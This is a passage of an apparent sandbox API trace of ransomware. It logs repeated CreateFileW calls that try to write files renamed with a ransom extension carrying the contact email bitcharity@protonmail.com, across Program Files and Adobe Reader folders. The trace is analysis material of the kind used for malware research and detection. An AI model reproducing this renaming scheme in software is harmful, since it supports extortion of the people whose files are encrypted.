Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fi-FI\\toastreviewsettings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fi-fi\\toastreviewsettings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.686] CloseHandle (hObject=0x112c) returned 1 [0276.690] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.690] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.690] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-BE\\index.html.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-be\\index.html.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.690] CloseHandle (hObject=0x118c) returned 1 [0276.691] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.691] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.691] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-BE\\toastbeginupgrade.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-be\\toastbeginupgrade.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.692] CloseHandle (hObject=0x118c) returned 1 [0276.692] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.693] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.693] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-BE\\toastbeginupgradeth2.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-be\\toastbeginupgradeth2.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.693] CloseHandle (hObject=0x118c) returned 1 [0276.694] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.694] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.694] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-BE\\toastreviewsettings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-be\\toastreviewsettings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.694] CloseHandle (hObject=0x118c) returned 1 [0276.698] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.698] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.698] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CA\\index.html.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-ca\\index.html.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.698] CloseHandle (hObject=0x118c) returned 1 [0276.699] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.699] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.699] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CA\\toastbeginupgrade.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-ca\\toastbeginupgrade.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.699] CloseHandle (hObject=0x118c) returned 1 [0276.700] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.700] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.700] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CA\\toastbeginupgradeth2.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-ca\\toastbeginupgradeth2.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.700] CloseHandle (hObject=0x118c) returned 1 [0276.701] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.701] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.701] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CA\\toastreviewsettings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-ca\\toastreviewsettings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.701] CloseHandle (hObject=0x118c) returned 1 [0276.705] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.705] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.770] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CH\\index.html.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-ch\\index.html.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.127] CloseHandle (hObject=0x118c) returned 1 [0277.726] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.726] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.726] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nb-NO\\toastbeginupgradeth2.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nb-no\\toastbeginupgradeth2.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.727] CloseHandle (hObject=0x10c4) returned 1 [0277.728] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.728] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.728] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sl-SI\\toastbeginupgradeth2.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sl-si\\toastbeginupgradeth2.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.728] CloseHandle (hObject=0x10c4) returned 1 [0277.729] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.729] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.730] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sl-SI\\toastreviewsettings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sl-si\\toastreviewsettings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.730] CloseHandle (hObject=0x10c4) returned 1 [0277.757] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.757] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.757] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sr-Latn-RS\\index.html.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sr-latn-rs\\index.html.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.757] CloseHandle (hObject=0x10c4) returned 1 [0277.775] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.775] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.775] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sr-Latn-RS\\toastbeginupgrade.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sr-latn-rs\\toastbeginupgrade.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.775] CloseHandle (hObject=0x10c0) returned 1 [0277.794] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.794] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.795] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sr-Latn-RS\\toastbeginupgradeth2.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sr-latn-rs\\toastbeginupgradeth2.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.795] CloseHandle (hObject=0x10c0) returned 1 [0278.870] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.870] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.870] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOffNotificationInTray.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\turnoffnotificationintray.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.871] CloseHandle (hObject=0x11c0) returned 1 [0278.871] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.871] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.871] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOnNotificationInAcrobat.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\turnonnotificationinacrobat.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.872] CloseHandle (hObject=0x11c0) returned 1 [0278.872] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.872] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.872] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOnNotificationInTray.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\turnonnotificationintray.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.872] CloseHandle (hObject=0x11c0) returned 1 [0278.873] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.874] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.874] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\warning.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\warning.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.874] CloseHandle (hObject=0x11c0) returned 1 [0278.875] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.875] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.875] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\index.html.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\index.html.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.875] CloseHandle (hObject=0x11c0) returned 1 [0278.883] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.883] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.883] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-mac.css.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\css\\main-cef-mac.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.883] CloseHandle (hObject=0x11c0) returned 1 [0278.886] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.886] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.886] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-ui-theme.css.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\css\\main-cef-ui-theme.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.886] CloseHandle (hObject=0x11c0) returned 1 [0278.888] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.888] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.888] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-win.css.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\css\\main-cef-win.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.888] CloseHandle (hObject=0x11c0) returned 1 [0278.889] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.889] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.889] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-win8.css.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\css\\main-cef-win8.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.889] CloseHandle (hObject=0x11c0) returned 1 [0278.890] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.890] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.890] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef.css.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\css\\main-cef.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.890] CloseHandle (hObject=0x11c0) returned 1 [0278.891] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.891] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.891] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-high-contrast.css.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\css\\main-high-contrast.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.891] CloseHandle (hObject=0x11c0) returned 1 [0278.892] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.892] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.892] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main.css.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\css\\main.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.892] CloseHandle (hObject=0x11c0) returned 1 [0278.898] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.898] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.898] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\a12_spinner.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.898] CloseHandle (hObject=0x11bc) returned 1 [0278.899] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.899] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.899] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader 